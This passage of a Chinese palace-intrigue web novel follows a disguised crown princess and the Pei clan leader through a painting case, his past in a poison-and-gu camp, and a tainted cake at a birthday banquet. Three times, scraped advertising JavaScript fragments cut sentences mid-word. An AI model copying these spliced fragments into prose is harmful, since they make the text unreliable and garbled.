“为娘娘治病是太医署的事情,何时轮到圣火教?” 陆展与皇后关系不错,故而语气带有防备。 “为圣人排忧解难也是臣等分内之事,倒是陆小郎君这个时候在这里做什么呢?” 陆展现在已没有大理寺少卿的职位,没有了办案的理由。 赵河跟着道:“是啊,你鬼鬼祟祟在这里干什么?” 陆展欲辩解:“我……” 秋风起,窗户忽而被吹扇开,砰的一巨声。 赵河缩了下脖子,“吓死人了,这么大的风。” 陆展望着那昏暗的深处,李相筠的身影已经消失不见。 圣主忽而就改变追问的心思,示意赵河也不必多问,入内去找要的东西,自己却站在陆展面前没有挪脚。 陆展知道自己正在被面具下的人用目光一寸寸审视,不由毛骨悚然。 “圣主还有何吩咐?” 对方轻笑出声,忽然问:“陆郎君与太子关系好?” 听他提起太子,陆展吓了一跳,但是随即想圣火教再怎么神通广大也不可能看见刚刚太子藏身在暗处。 “圣主何出此问?” 圣主好言相劝:“陆郎君还是离太子远一些好,吾算过他的命数,极凶之兆,必然是亲离友散,与他交往过密,定会受池鱼之殃。” 陆展冷笑道:“什么狗屁命数,我也是无父无母之人,岂不是也是极凶之兆,从前我被人欺辱时太子殿下就没有嫌弃过我,我又怎会抛下他!” 圣主顿了须臾,呼吸不由沉了沉,才道:“小恩小惠就收买了陆郎君的心,太子有能耐,但是陆郎君信不信,当你们二人有冲突时,太子定会抛弃你,伤害你。” 圣主自问自答,信誓旦旦。 陆展有心反驳,但是他心里却隐隐清楚,李相筠对谁都没有心,圣主说的是对的。 但陆展还是冷下脸,抱起拳,冷漠道:“我的事情用不着旁人来指教。” / 从太医署离开,隔日李相筠就迫不及待去找辛芷求证虚实,但是不巧沈氏夫妇出门去了。 辛芷还在他们约定的隐秘处留了封信给她报平安。 李相筠只好暂且按下不说,又找到灵宛郡主,得知关娘子身上并无奇怪红斑,也没有性命之忧。 那或许是她先前看错了。 不过也是,对于天星草毒的事,身为户部侍郎的关博不会不知晓。 他管着大黎的药品库存进出,当年调配天星草根茎、烧毁天星草果实的事情必然是记录在案的。 骑马经过东市时,李相筠又想起来那桩案子,便来到石心砚,打算去碰个缘分,看能不能买上一副关娘子的画。 不知道该说是冤家路窄还是心有灵犀,不巧又撞上了和她打着同样算盘的裴少保。 只见那高大的郎君含笑晏晏招呼她:“七郎君也来买画?” 向来只有别人避让她的份,断没有她扭头走的道理,李相筠虽然不乐意,还是抬脚走进了石心砚。 “是啊,没想到裴郎君也有如此雅兴,我还当西南都是蛮荒之地。” “既然要入乡随俗,自然要学会附庸风雅。” 寒暄的人不止他们,所以这点交锋并没有引起注意,倒是两人同时从昏暗的檐下走入亮光中惹来不少眼睛。 因为他们实在长得太出众了,犹如日月争辉,让人难以错目。 李相筠目光一扫,那似笑非笑的阴狠成功让所有目光避之不及。 再美的人拿着刀只会让人感到害怕。 “果然物似其 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主,你养的鹅就好凶。” “凶点才好,不然怎么被人炖了吃都不知道。”李相筠目光又扫到裴承身后,飞星对她嘿嘿笑了两声,尴尬无比。 在东宫半夜和太子的鹅群打了一架的事恐怕是没能瞒过去。 飞雨撇过头,实在没脸面对。 宽敞的中厅里除了他们之外,还有不少人,或老或少,或是穿金戴银的富商,或是清贫如洗的书生,气质出众的裴家主外加他两个邪里邪气的侍卫,以及凶神恶煞的李相筠主仆二人。 总而言之是各色各样的人齐聚一堂。 中年儒雅的掌柜朝人群里拱手道:“感谢诸位捧场,规矩照旧,今日一共四幅画,不为钱财,只为缘分!缘分到了,客人就可以请画归家了!” 李相筠和裴承对看了眼。 四幅画挂在墙上,依次个被掌柜打开,顺应秋景的菊花图、红叶图、飞雁图、秋水图,换来一声声惊叹。 有人问起:“梁掌柜,我们看了这画,是不是会被鬼杀掉啊!” 原来除了一些喜爱关娘子画作的人,还有猎奇的人混入其中,都想着观摩一下会杀人的画长什么模样。 “简直胡说八道!关娘子的画从她手上出来,至少都要经过七八个人,倘若画真的能够杀人,死的何止那三个!”梁掌柜一甩袖子,不高兴道:“这位客人不要危言耸听,否则我可以拿你送官府!” “关娘子的画我都收藏几副了,从没有见过什么鬼啊妖的,你要是怕就别来。”富商哼哼两声,走上前去赏画。 李相筠不信画能杀人,抬脚走上前,别人赏的是画的色彩与笔触,是留白与韵味,她就跟个菜摊上严格挑剔的买主,仔仔细细地找起菜叶上的小虫眼。 裴承也在她身边驻足,苦涩的药味让李相筠舌尖都尝到了味,她本能不喜欢裴承靠近,因为他好苦。 “找到了吗?” “没有。”李相筠直起身,往旁边挪了半步,“想来如果画有问题,也不可能这么光明正大挂出来。” 裴承似是意外瞥了他一眼,难得温和道:“不错,醒悟的很及时。” 李相筠耳朵一酥,心尖猛地一颤,不由呆了一下,但是目光触及裴承的脸后一股无名火又从心底冒出来,她冷冷瞪向裴承。 “别当我是个傻子!” 李相筠当然不会觉得自己是个傻子,她一个人在东宫挣扎了这么多年,没有皇兄护着她也好好活下来了。 她才不是傻子。 裴承一句轻描淡写的点评就像是一滴水掉进了李相筠这口油锅,惹炸了她。 她不需要再来一个人,以长兄的话语来评论她做事说话! 裴承也没有料到太子会有这么大的反应。 他不过说了句很寻常的话吧? 或许是因为从前怀贤太子也喜欢这样说话,除了同妹妹之外,说不定对旁人也会这样温和提醒。 裴承眼眸微凝,审视太子怒气冲天的脸。 因为亏心事做多了,所以才介意提到吗? 但不知怎的,裴承觉察。 除了生气之外,太子更像是——要哭了。 李相筠泛红的眼睛就像是在控诉他的过分,他的不应当,他不该用怀贤太子的语气,说着怀贤太子说过的话。 他的心脏变得像外面的天色,窒闷潮热,还有麻痹后尖锐的刺痛,让他感觉很不舒服。 他肯定是出了什么问题。 23.心疼 太子走后,裴承还站在画前。 “家主,你说什么了能把太子气成那样,我看他刚刚眼圈都红了,这是气疯了吧!”末了,飞星还竖起了拇指哥,“不愧是我们家主,杀人于无形,光凭几句话就能够让太子兵败如山倒。” 裴承还是没有回话,他在等心脏的不适缓和,消失,也在观赏面前的画卷。 秋水图画的是一条蜿蜒的河,用留白绘出了阳光洒落水面的波光粼粼,河岸边站着一位广袖博带的女郎,抬头仰望着河的尽头。 所谓望穿秋水,意味着无比着急等到某人或者某事。 再看旁边的秋菊图、红叶图、飞雁图,都有一种不符合关娘子那淡雅平静的气质。 她在着急什么?期盼的又是什么? 离开石心砚,有个经过的路人在擦肩而过的同时暗暗给飞雨递上了张条子,飞雨看完后就低声禀给裴承。 “家主,沈统领意识到我们在跟踪,在客栈把我们的人给甩开了,要想再找到他,恐怕还要多花一些人力才行。” 沈统领知道不少关于怀贤太子的事情,裴承需要知道太子死的线索,也需要从他们这些老人身上挖掘,哪怕是哑巴,他也有办法让他们开口。 “身为执金卫统领,一身本事还是有的,想要抓住他是不容易。”裴承语气平静,声音缓缓,不过留心听还是能注意到他此刻有些心不在焉。 这是很少有的事情,他一向很理智也很清醒,从重获自由的那一天起,他就一步步谋划得到所有想要的,所以他得到了裴家家主之位。 就像是李相宇告诉他的。 谋定而后动,知止而有得。① 可是来长安却是冲动之下。 在没有查清一切前,他就来了。 原因也是有的。 他不喜欢西南那片血腥的土地,也不喜欢族人们表面屈躬卑膝,背地里却总想方设法要致他死地。 这就是裴家的生存之道,他们都是在钵里互相缠斗的毒虫,胜者为王败者为寇。 每一任家主权柄的交替都会死去一部分人,而这些“死人”会成为新任家主最忠实可靠的手下,永不背叛的傀儡。 在这样激烈的危机迫使下,他们强烈如同野兽的繁殖欲使得人丁繁盛。 所以即便争斗从没有止息的裴家,其势力与影响并没有消失。 倒是李氏皇族如今人丁稀少,日落西山。 还有个理由是,他觉得虽然是怀贤太子在微醺的情况下拉着他说的,但是那毕竟也算是对他的一种托付。 李相宇曾说,自己已没有什么后顾之忧,唯独担心他的妹妹。 那时候他尚不知道李氏皇族在长安的那些事。 后来才发现太子压根并没有什么公主皇妹,早就被杀了个干净,唯独能对上的只有那闺名叫李竹芸的堂妹。 “阿yun是我答应要照拂一辈子的人,但是……” 无名的野林外,星河流淌,李相宇搭手在膝上,仰望着天穹。 “我怕,我没有那个时间了。” 生来尊贵无匹的太子殿下是头一次在他面前说到“怕”字。 他有些奇怪的看向他,也许也是有些酒意,也许是想要更加靠近一些不曾拥有过的正常人情感,他努力想做一个正常的人,说着很有义气的话: “有何可担心,你救过我,我会报答你,倘若你想的话,我会替你照拂她。” “执玉,”李相宇笑了起来,“你懂不懂照顾一个女郎是什么意思,她不是你妹妹。” 他确实不懂。 他们没有亲缘关系,是没法名正言顺照顾她一辈子。 可要他娶她,作为夫妻,他又没法理解那种为繁殖而结合的产物——所谓的婚姻。 他也不该亵渎李相宇放在心上疼爱的妹妹,他答应过。 作为人,应该信守承诺。 而他也尝试学做一个人。 只是这个过程里,他好像有了点微妙情绪,虽然还说不上来。 可为什么会是他? 裴承看着左边没心没肺的飞星,右边心思深沉的飞雨,两人一般年纪,都懵懵懂懂迎着他此刻的目光。 “心脏变得很奇怪?什么奇怪法,跳得很急有点窒息?”裴五爷朝他倾来,两只眼睛竭尽所能地睁大,像是要努力看清楚他,又像是挖空心思想从他这个木疙瘩身上找点趣味。 裴承蹙起了眉头,已经有些后悔坐在这里。 但他还是回道:“是痛,针扎一样痛。” “你居然也会知道痛?”裴五爷再次上下打量,“我以为像你这样……身经百炼的人,是不知道痛的?” 他选了一个十分温和的词——“身经百炼”,掩盖掉他从幼年直到少年时期那些血腥的过往。 裴承淡淡瞥了他一眼,“我只是伤口好得比常人快些,又不是不会痛不会死。” 而且他的五感超群,一个任何感知都敏感的人为何独独会不知道痛呢? 这大概都是他们这样的人自己臆想出来的,一个没有缺陷弱点的杀器比较符合想象。 “咳。”裴五爷重重咳嗽了声,终于正经回来,给了一个答复,“或许是你有些心疼了?心疼嘛顾名思义就是看见某些人某些事心脏会不舒服。” “我心疼他做什么?”裴承问。 “我怎么知道你心疼她做什么?”裴五爷也是莫名其妙,“还有啊,你心疼谁啊?她是谁?你在长安什么时候有认识的女郎我不知道的,难道是那个什么郡主吗?” “不是。”裴承觉得心脏又有些不舒服,但不是疼,而是有些乱。 “郎主,你还要多久啊!”这时候裴五爷的娇妾耐不住等待,已经撩开帘子伸出脸来,她垂着头发,衣襟也没合拢,香肉露了一半在外面,让裴五爷的眼珠子都快掉出来了。 “香、香儿啊……”裴五爷口干舌燥,一会看看美人白花花的胸脯,一会瞅瞅面无表情的裴承,屁股在椅子上扭了扭,挥挥手道:“你先去、先去练字,我过一会来好好检查。” 香儿目光在裴承那张高冷的俊脸上徘徊一阵,才望向裴五爷,娇声娇气道:“那您要快些哦,不然,墨水都要干啦~” “干了再磨磨就是了。”裴五爷心痒难耐,但还是只能忍痛挥别小妾。 香儿笑他一语双关道:“郎主你真坏。”而后才聘聘婷婷扭回帘子后。 她不知道的是,就在她回身的那刻有道目光总算落在了她的后背,只是有些缥缈,仿佛隔着她看见了别的人。 裴承一直觉得小太子的身体比常人纤细,肩膀不够宽,手臂上虽有肌肉但也不够大,腰更是细,他的手握住的时候,虎口卡住腰身,拇指都能够越过他的脊骨。 他看见了裴五爷的妾纤细的背影。 或许作为女子,太子那副身体才算是正常…… 这个念头刚冒出来,裴承就压了回去。 这怎么可能? 皇宫里那么多双眼睛盯着,若是女儿身,他早死一千次一万次了。 “对了,你还要在东宫住多久?我现在是越了解越心惊啊,没想到这太子树敌不少,你可留心些,别受池鱼之殃!” 裴承回过神,问:“有什么情况?” 裴五爷一一对他说道。 裴承支着下颚,漫不经心看像窗外的黄叶。 这么多,那他确实该哭了。 “那我们该怎么做呢?”裴五爷出声问他。 他们来次的目的之一,也是为了这位太子。 “先找到确切的证据,再行动。” 裴五爷奇怪地看一眼他,“执玉的心肠居然也软了些?” 裴承淡淡道:“只是不想被人当刀使。” / 李相筠从石心砚出来,又往西市而去。 金宝正在看西风园看百戏,西风园是金宝母家的产业,当年的风家产业遍布大黎,是真正的富甲一方,只不过后来因为分家弄得七零八落,大不如前。 后来因为一些事,风家的女郎带着庞大的嫁妆到了金家,生下了金宝。 那些嫁妆帮助金二爷青云直上,仕途顺利使得金二爷受到高官青睐,要嫁嫡女给他,风娘子忍痛让贤,做了金二爷的贵妾,金宝也就从嫡子变成了庶子。 好在他这个人从小就看得开,比起入仕做官,还是他外祖的老本行比较适合他,于是便嘻嘻哈哈和商贾们混在一起。 金家需要风家的资产维系府里庞大的开支运转,故而对他这种辱蔑门庭、自甘堕落的做法也就睁只眼闭只眼。 所以金宝常年都在东市西市里混,各行各路的兄弟来长安总被他领着痛快地玩一通,往后生意就好说了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 因为狐朋狗友多,消息也灵通。 李相筠来找他的时候多半是为了消息。 台上正咿咿呀呀唱着,金宝翘着腿儿拿玉如意敲着瓷杯打节拍,好不悠哉。 李相筠往他旁边一坐,他便利落地弹了起来。 “七郎君您来啦!” 一如既往的热切和恭敬。 “不怪我坏了你的好戏?”李相筠说的不是台上的戏,而是那日在沧浪阁的戏。 “哎,想明白了,七郎君这是在敲打我呢,怪我挖空心思只想着弄钱,赵郡王府就拿捏这点要我站队呢,但我岂能做墙头草?那片的生意不做也罢,不能坏了我与七郎的情谊是不是?”他亲自倒茶,捧给李相筠。 黄监丞的案子一结,什么“潜龙在渊”就成了李柏寒头顶一个笑话,都说他痴心妄想呢。 李相筠接过茶,说道:“还算你明白事理,坐吧。” 金宝坐下。 下面的傀儡戏又换了一出,只听那莺腔唱:“说甚女儿不如郎,十八中榜入府衙,勤垦药田广授衣,百姓夸我玉青天,今朝兄长病丝离,却叫女儿嫁儿郎。” 如泣如诉,好不悲哉。 李相筠被唱曲吸引,问道:“没听过这出,新排的?” 金宝道:“是啊,七郎还不知吧,这可是泊州羊集县一桩怪事,县令薛二郎忽然被爆其实是女儿身,还因为不愿意嫁人,就把她兄长给毒杀了,半个月后就要压进长安受审了,哎,如此有才华的女郎只可惜不是男儿身。” 李相筠微一怔,把目光看见那底下被挥动的傀儡人上。 金宝又自嘲道:“不过即便是男儿身,她也是庶出的,哪比得过主母的嫡子,到底还是想用就用,想弃就弃。” “说什么嫡出庶出,有用就行,我就瞧着你比你那弟弟有出息。”李相筠看回金宝。 这也不是胡诌,金宝的才能不比其弟弱,甚至很多为皇帝敛财的点子都是他出的,但好处全给弟弟占了。 金宝一阵感动,眼泪都快掉下来了,抬袖子揩了揩,表忠心道:“七郎君真乃我知心人,往后有什么用的上的地方尽管吩咐!甭客气!” “我何时跟你客气过?”李相筠朝他伸手,笑问:“我要你查的东西,查到了?” 金宝马上叫人,把誊写好的东西交给李相筠。 “七郎要查的裴家那可是神秘啊,西南势力盘综错杂,稍有不慎就会被——” 金宝做出个抹脖子的手势,压低嗓音:“他们很忌讳外人打听家族秘密,不过也正是因为裴少保当年夺位时动静很大,裴家也算是被大清洗了一通,不少人脱离出来,四处谋生,这才让我打探出了点秘密。” 李相筠展开那本册子,拉开足有十几叠。 她快速往下看,只捡里面有关裴承的内容看。 就像金宝所说的,裴家神秘。 但金宝打探出来的也比她想象的少得多。 裴承,字执玉 出生年月不详 母本族大房裴六娘(亡) 父不详 喜恶不详 友不详 李相筠抬眼看向金宝。 金宝“嘿嘿”两声,无奈耸肩,“真查不出,要不七郎君直接问裴少保?” 李相筠垂下眼,继续往下看。 正元十一年送往南巫寨,正元十二年垂危未死,正元十三年垂危未死,正元十四年毒发未死,正元十五年垂危未死,正元十六年垂危未死。 “这是什么?”李相筠皱着眉头问金宝。 金宝用玉如意搔了搔脑袋,又虚指着后面李相筠还没看到的地方,说:“七郎君不知道南巫寨吧,南巫寨是裴家试炼兵人的地方,用毒也用蛊,您看啊,裴少保他父不详,说明他母亲是跟人私通生下他的,这在世家里哪能成啊!丢面子的事啊!所以呢,他八成就是给家主扔进南巫寨自生自灭去了。” “不过他命硬,治好了又垂危,垂危了又救回来了,所以——”金宝又点了点后面,“他在里面呆到了正元二十年。” 正元二十年,整整九年。 若以现在他约摸二十一二反推,那就是从五六岁到十四五岁的时间里,他不断经历毒和蛊的摧残,从死到活,再从活到濒死。 李相筠第一个反应和金宝一样。 裴承这人真的很难杀啊。 24.千秋 “说起南巫寨真是怎么玄乎怎么来,七郎君可听过灵蛇窟、金蝎窟、万蜈窟、怪蚁窟吗?据闻那里面畜养的毒物有数十万之多,而且都很有灵性,闻笛听令,可当一支军队,杀人无形!” 金宝挪了挪身,往前倾,“他们用这些毒物炼蛊,蛊虫又去炼人,死掉的人又去喂毒物,连骨头都不会留下来,这毒一代代积下来,毒物越毒,蛊虫就更厉害,练出来的兵人更是不死不伤还有邪术呢!” 光听金宝前面的描述,李相筠已经后背冒冷汗了。 她最讨厌毒蛇、毒虫什么的,南巫寨一听就是那种毒蛇盘踞,蝎子蜈蚣满地跑的地方,阴森又鬼气。 还兵人?如果裴承在里面待了这么久,算不算是成功的兵人? 裴承在这种地方呆了九年,居然还没有疯掉? 不过他八成是那种憋着疯的人,看来日后要杀他一定要一击必中,可不能让他还有救回来的余地! 李相筠暗暗思忖。 忽然脑子里对正元二十年这个时间有点介意,她继续往下看。 “所以在裴承离开南巫寨的那一年,南巫寨就失火烧了大半,是因为失火他才得以出来,还是因为他出来所以才失火了?” 金宝反应了半天,才打了个响指,“好问题,但是没查到,南巫寨一毁,裴家可想而知损失惨重,他们肯定不会让外人知其详情。” 李相筠沉沉呼出口气,眼睛瞬也不瞬盯着金宝。 金宝再次无奈道:“真的不好查,我那些走商的朋友们都不太愿意去西南那块做生意,您也知道,正元十八年起圣人下旨就对毒草什么的严加限制,不少种类都被列为禁草,倘若私人贩卖可是要吃板子下大牢,西南那块又是漫山遍野长毒物的,他们也怕往那边走一遭万一不小心夹带了一二,得不偿失啊。” 短短时间里,他能挖出这些已经是算多了! 其实李相筠也明白,秘密总是藏得深,倘若人人都能随意打探到,那也就不叫秘密了。 陆展说,皇兄在正元二十年可能去过西南一趟,但是他具体去的是什么地方? 常年跟随太子外出的亲信在正元二十四年就死得差不多,回来的又被大理寺拷问死了十之七八,沈统领还是她费了好大功夫保出来的。 只是沈统领现下已离开长安,若他不来联系自己,短时间也不可能找到他,想要问都没地方问。 南巫寨的事情会与皇兄有关系吗? 她若去问裴承,裴承会据实相告么? ……想也不可能。 李相筠揉起了太阳穴,头有些疼,她对身后的邓谦使了个眼色,邓谦就把一直带在身上的信拿出来递给金宝。 金宝将信封将疑拆开,取出里面的纸片一张,“这是什……?” 他视线落在纸片上画的符号,不由睁大,又看向李相筠。 “我觉得这东西有些眼熟,曾经见过是不是?”李相筠不确定,但是她隐约觉得自己是看过的。 金宝拧起眉头,道:“这已经是很久之前的东西,赤乌流寇曾以此为符号,被打劫过的往来商贩看见货物上被钉了带有标志的纸条后,往往不敢声张,只能留下东西快快逃跑,七郎君在哪里见到这个?” 赤乌流寇! 原来是以前在皇兄处理的案宗里见过…… / 滴答—— 滴答—— 水滴间隔着相同的时间缓缓滴落。 石壁上有条潮湿的痕迹,生出了青苔,几只小虫经过,沙沙声若隐若现。 他躺在地上,四肢摊开,裸.露的肌肤上感受到被无数虫子足钩带过的疼痒。 微弱的光线从墙壁上的小圆窗投入,笼罩在他身上。 咔咔咔。 毒虫张开腭牙,迫不及待咬穿皮肤,毒素注入他的身体。 他的身体很疼,但因为毒素麻痹又无法动弹,只有冷汗疯狂涌出,浸透了他凌乱的破衣,毒虫覆上了他的脸,遮挡了他的视线。 看不见光了,只有一条条长虫交叠的影子,来来去去。 渐渐,毒虫们在他身上抽搐死去,滚成团一一掉下,他身体里积累的毒已经变得让这些毒虫都无法承受。 他大口大口喘着气。 但是他的身体还是好疼好疼好疼好疼—— 一道笛声从石窟的透光口传来,不是那些虫师驱使毒虫的尖锐令笛,而是一首轻快悠扬的小曲。 像是花开,像是水流,像是孩童在草地扯着风筝奔跑,像是牧童骑着水牛在池水里嬉戏…… 他闭着眼,逐渐放缓了呼吸。 曲子重复了三遍终于停歇,他猛地睁开眼,爬起来就跌跌撞撞往小窗处跑,明明很短的距离,可无论他怎么用力也跑不到跟前。 只能听见个清软的嗓音透过小窗道: “放心!我会回来救你的,一定会的!” “你不要放弃,要活着啊!” 脚步声远去,再不可闻。 他终于气喘吁吁到了墙边,额头轻轻抵在湿润的石壁,低声道:“不要走。” 咚咚咚,木门被拍得震天响。 “家主?——” 裴承睁开眼,看清楚自己躺着的地方,喘息了阵,才把手臂压在眼睛上。 眼皮被丝带摩擦地有些发痒,他又抬起手臂,定睛看着缠在小臂上的竹绿色发带。 七年了,他还一直会做这个梦。 说不上是被欺骗的恨多一些,还是被辜负的难过多一些。 小白兽被他动静惊醒,一溜烟爬到他手臂上,歪头与他对视,裴承托起它,起身穿上鞋往外走。 “什么事?” 飞星递上纸条,雀跃道:“家主,查到了!” 裴承看见纸条上写——赤乌流寇 / 邓谦的呼吸瞬间重了,他看向李相筠,几乎要开口说话。 李相筠抬了手,让他止住了声音。 金宝道:“七郎君现在是在查赤乌流寇的事情吗?可他们早在十几年前就被朝廷打散了,如今再没听见什么消息。” “那么多流寇散归散,可谁说他们都死光了?”李相筠从皇兄那里听过许多关于赤金流寇的事情。 知道他们不可饶恕的罪行,也继承了那份要将他们彻底铲除的决心。 倘若——她有那个时间和余力的话。 时间…… 不知道为什么,李相筠越来越觉得自己的时间不会多了。 她带着邓谦离开,又去了一趟关侍郎府。 这次关侍郎把她拦在了门外。 “鄙妹身体不适,正在休养,不方便见客。” 李相筠看着关侍郎的脸,他这个人长得没有什么特别,很普通的一张脸,在人群里只怕过眼就会让人忘记。 但是他很有能耐,能够成为圣人倚重信赖的人,从此步步高升。 “那关侍郎帮孤传一句话,上一回关娘子考验孤的问题,已经有了答案。” 关娘子一定是知道有关赤乌流寇的事情,但是她不能明说给他们听,所以那日再得知裴承并不知情时才会不禁流露出失望的神情。 李相筠知道兹事体大,要谨慎行事,所以在面见关娘子之前,她不会再向任何人透露消息。 只是她不知道,关娘子这个病要休养多久。 太子走后,关侍郎交代小荣守好府门,什么人来了也不能开,只说娘子在养病即可。 小荣挠挠头,问:“郎主今日会早点回来吗?昨日娘子问了几次。” 关侍郎神情柔软了些,道:“我尽量。” 坐上车,关博到了东市最大的百草堂。 好几名药商齐齐站起来,迫不及待道:“关侍郎,这可怎么办是好,我们这药草还能运吗?时间紧迫,那羊集县里的药农又罢了工,能否宽限几日?” “拖延不了,马上就是千秋节,圣主给圣人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 炼丹献礼,这是大事,谁耽搁了谁就有罪!” 几个药商你看着我,我看着你,愁眉苦脸。 早知道就不贪那点利,现在也不会骑虎难下! 关博深谙他们的心理,恩威并施:“但这件事办好了,圣人龙心大悦,诸位就都是功臣。” 他又道:“那薛县令已经下了大牢,药草事情先从羊集县周围的药铺收,往后的事等大理寺定案再说。” 药商们悻悻拱起手,“小人尽力而为!” 药商们离开屋子,关侍郎才走到屏风后,那儿汪中尉正在喝着茶,看手里的药册,听见脚步声,他抬起眼。 “看来羊集县动静闹得大了,这事还得你亲自去一趟才是。” “汪中尉的意思是?”关侍郎谦卑地问。 汪中尉没有回答,把茶杯倾斜,从身前缓缓浇过,温热的茶汤敬给了地板。 关侍郎看着地上的水迹,叉手回道:“下官,明白了。” / 秋叶落尽,枝头萧条。 很快就到了圣人的生辰,千秋节。 圣人虽然现在不大理朝事,但这样的佳节还是很愿意与臣子们共度。 所以每年千秋节,太常寺、光禄寺、少府监、将作监都挖空心思博取龙心,致力于打造一个不同凡响的千秋节。 当夜大明宫灯火通明,光秃的枝头也被金箔彩带包裹,被照得流光溢彩。 裴承是第一次参加长安的盛宴,有些受不住络绎不绝的奉承与应酬,借着更衣之名,避走到幽静小径上独处。 虫鸣鸟叫远比人的声音动听,他倚在树背后闭目清心,想等到正式开宴再进去,忽闻一道笛音悠扬,从墙后隐约传来。 现实与记忆重叠,时隔七年相同的旋律,让他彻底愣住了,几个音调转去,他的脚步不由往前去。 不过林子里偷清净的人不止他,还有李竹芸带着婢女。 两人碰了面都有些意外,互相见了礼,裴承有些犹豫,是要去看吹笛子的人还是留下来关心明显状态不对的李竹芸。 几息后,他还是开口问:“出了什么事,郡主怎么在这里?” 李竹芸摇摇头,低声道:“无事,只是不太习惯这样的场合……裴少保呢?” 裴承见她咬着唇,这是并不想和他说的姿态,也不逼问,就道: “我听见这笛声耳熟,所以想来看看。” “笛声?”李竹芸倾耳听了一阵,浅笑道:“啊,这是曲童谣,以前我生病或难过时,道观里的师父也会吹这个哄我……不过这人有几个地方吹错了。” “吹错了?” 李竹芸跟着重复的笛声轻哼起曲儿,在一处笛声低下去的时候,她的哼声却是扬起的,转折时处理也有所不同。 “这首最简单的笛曲,长安会笛的人都会学这一曲,按理不会错才是。” 错了吗? 可是他记忆里的也是这样的调子。 即便是错的,也是对的。 “抱歉郡主,某有事,先行一步。”裴承拱起手,但笛声戛然而止。 他匆匆掠过围墙,只见那水阁之中的亭内已经空无一人,只有隔水雾的轻纱还在风中飞舞。 他环顾四周一圈,又绕去水阁的入口,正见到一个小郎君手里拿着只竹节状的碧玉笛蹦蹦跳跳远去。 他驻足片刻,轻轻呼出口气,折身反回。 在他身后,没走多远的小郎君与自己的耶娘撞上了。 孩子阿耶揪住小儿的耳朵,“臭小子到了大明宫还乱跑,小心玄扇司把你抓起来!” “哎哟哎哟,才不会!才不会!” “你这孩子哪里捡了一根玉笛,这玉质这做工……好多钱吧!”孩子阿娘一把夺走他手里的挥舞的东西。 “才不是捡的,是一个长得特别好看叫我保密不许告诉别人的阿兄送给我的!” 小郎君急得,一连串把什么老底都揭了。 25.恶疾 含元殿今夜就像是天上宫阙,金碧辉煌,仙音渺渺。 每个人都洋溢着灿烂的笑容,不论私底下多大的仇眼下也能一笑泯之,把手言欢。 李相筠刚一坐下,不多会赵郡王世子也入座。 就听见旁边有人问他。 “世子今夜没有带笛子吗?世子的笛音圣人可都是称赞的,如此良辰佳节不献上一曲说不过去吧!” 李柏寒看了眼右手侧上位的李相筠,温文尔雅地笑着回答:“不巧,弄丢了,这里不是还有太子殿下么,伯渊岂敢班门弄斧。” “说起来太子殿下的笛子也吹得好,今日……” 李相筠赶在那人话说出口前,扭头笑道:“不巧,孤的也丢了。” “呃……” 李相筠喝完杯中酒,目光移动。 九层玉阶上龙椅空置,两旁圣火教徒已经站在了位置上,他们戴着面具,从不让人看清真实面容,一律用白底火焰纹的罩衣盖着全身,宽大的袍子让他们显得更为神秘。 看见这帮人如此登堂入室,哪还有心思给圣人吹什么笛子,气都气饱了。 李相筠一连喝了三杯酒,眉间郁色凝结。 女眷处也相当热闹。 她们没有那么多顾忌,在宴会上只管尽情展现漂亮的新裙子、华贵的钗环耳坠还有新颖的妆容,三五成群聚在一起,讨论哪家的儿郎俊朗,谁家的好色坯子又纳了几房小妾。 李竹芸默默坐在其中,很不引人注意。 但几名贵女还是瞧见她,对视了几眼,捂着唇笑,又踩着轻巧快活的步伐聚在她周围。 “郡主今年十八了吧,赵郡王府该很着急了吧,可有相看哪家?” “快说说快说说,我们都好奇呢!” 虽然贵为皇亲,父亲是辉宗皇帝的血脉,母亲是当今圣人的妹妹,但李竹芸的命很不好。 虽然被特封为郡主,但她从小被弃置在京郊道观里养着,身上还背负着那不好的箴言。 别说权贵子弟就是寻常人家想要娶她都要掂量掂量日后会不会被她拖累。 李竹芸就是不愿意被她们明里好奇,背里嘲笑才躲了起来。 没有在长安生活,她对一切都很陌生,也始终很难融入她们的话题里。 “没有……” “怎么会没有呢?!”眉心点着精致兰花花钿的女郎惊讶地歪着身,几乎要靠在李竹芸身上,“郡主你生的这么美,身份高贵,难道是太过挑剔了?” “又或是郡主已经有喜欢的人了,我听人说看见郡主之前在西市那边的破观里和一名男子……” 李竹芸这时候有了反应,面色苍白地道:“慎言,施娘子这话出口就是辱人清白。” “郡主着急了?这话可不是我说的,我也是听人说起,人可是说得有鼻子有眼,连那男子的身高长相都有了,郡主要想清白,还要行的直坐的正才是。” 李竹芸眼圈微湿,唇瓣蠕动,她压低了嗓音,“不是你们想的那样,我没有,我只是在行医救人……” “行医!”旁边的女郎却拔高了音调,周围几桌的女眷都听见了她们的动静,纷纷把目光转了过来。 李竹芸局促地抓紧膝上的蔽膝,眼泪几乎就要掉下来了。 “郡主。”飞星的声音恰好传来,众女又看向了他。 他笑眉笑眼,又生得清秀,很得人好感,更何况他还是裴家主身边得力的侍卫,一般人都要给他几分薄面。 “我家主托我过来告诉郡主一声,这杏仁糕不适合郡主食用。” 一言毕,旁边众女目光各异。 有惊有怪,又不约而同看向李竹芸。 李竹芸也有些微讶,那张脸又白又红,像是女儿家的羞涩。 裴家主居然连她的喜恶都摸清楚了,这两人是什么关系? 一时间又有人惶惶,担心刚刚对李竹芸的无礼来日会变成裴少保针对自家的导火索,连忙对李竹芸示好道:“郡主原来与裴少保这么相熟,是我们冒犯了。” 裴承的位置在太子对面。 飞雨带来珍馐署令回话,署令不安地躬身立在旁边,裴承用筷子夹起盘中做成花朵样的杏仁糕放进郑署令的手心里。 “你尝尝。” 郑署令不敢不从,大口咬了下去,而后看向裴承,不明所以:“裴少保?” 裴承搁下银箸,按住膝头吱吱乱叫的小兽,“署令以为这里面放的是杏仁吗?” 郑署令细细品尝了下,糕点酥香脆甜,味道极好,隐约有杏仁的味道。 他肯定道:“下官觉得是杏仁。” 裴承托起那只白色的小兽道:“我这小东西平素只吃肉,唯爱一种坚果,那便是偏桃,你这杏仁糕里放了偏桃人吃不大出,但是它却能嗅到。” 郑署令冷汗流了下来。 